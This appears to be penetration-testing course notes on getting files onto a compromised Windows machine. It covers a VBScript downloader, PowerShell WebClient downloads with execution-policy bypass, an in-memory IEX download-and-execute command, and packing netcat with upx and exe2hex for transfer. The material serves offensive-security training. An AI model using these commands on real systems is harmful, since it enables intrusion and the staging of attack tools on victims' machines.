Windows Downloads

Windows Downloads Using Scripting Languages

Creating a VBScript HTTP downloader script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo  Err.Clear >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo  http.Open "GET", strURL, False >> wget.vbs
echo  http.Send >> wget.vbs
echo  varByteArray = http.ResponseBody >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo  strData = "" >> wget.vbs
echo  strBuffer = "" >> wget.vbs
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo  Next >> wget.vbs
echo  ts.Close >> wget.vbs

We can run this (with cscript) to download files from our Kali machine:

C:\Users\Offsec> cscript wget.vbs evil.exe

Windows Downloads using PowerShell

The example below shows an implementation of a downloader script using the System.Net.WebClient PowerShell class:

C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1

we can run it using this:

C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

We can also execute this script as a one-liner as shown below:

C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('', 'new-exploit.exe')

Windows Download and Execution from hosted remote file

To demonstrate this, we will create a simple PowerShell script on our Kali machine (Listing 20):

kali@kali:/var/www/html$ sudo cat helloworld.ps1 
Write-Output "Hello World"

Next, we will run the script with the following command on our compromised Windows machine:

C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('')
Hello World

The content of the PowerShell script was downloaded from our Kali machine and successfully executed without saving it to the victim hard disk.

Windows Downloads with exe2hex and PowerShell

We'll start by locating and inspecting the nc.exe file on Kali Linux.

kali@kali:~$ locate nc.exe | grep binaries

kali@kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .

kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 58K Sep 18 14:22 nc.exe

Although the binary is already quite small, we will reduce the file size to show how it's done. We will use upx, an executable packer (also known as a PE compression tool):

kali@kali:~$ upx -9 nc.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29696   50.00%    win32/pe     nc.exe
Packed 1 file.

kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 29K Sep 18 14:22 nc.exe

We'll use the excellent exe2hex tool for the conversion process:

kali@kali:~$ exe2hex -x nc.exe -p nc.cmd
[*] exe2hex v1.5.1
[+] Successfully wrote (PoSh) nc.cmd

When we copy and paste this script into a shell on our Windows machine and run it, we can see that it does.

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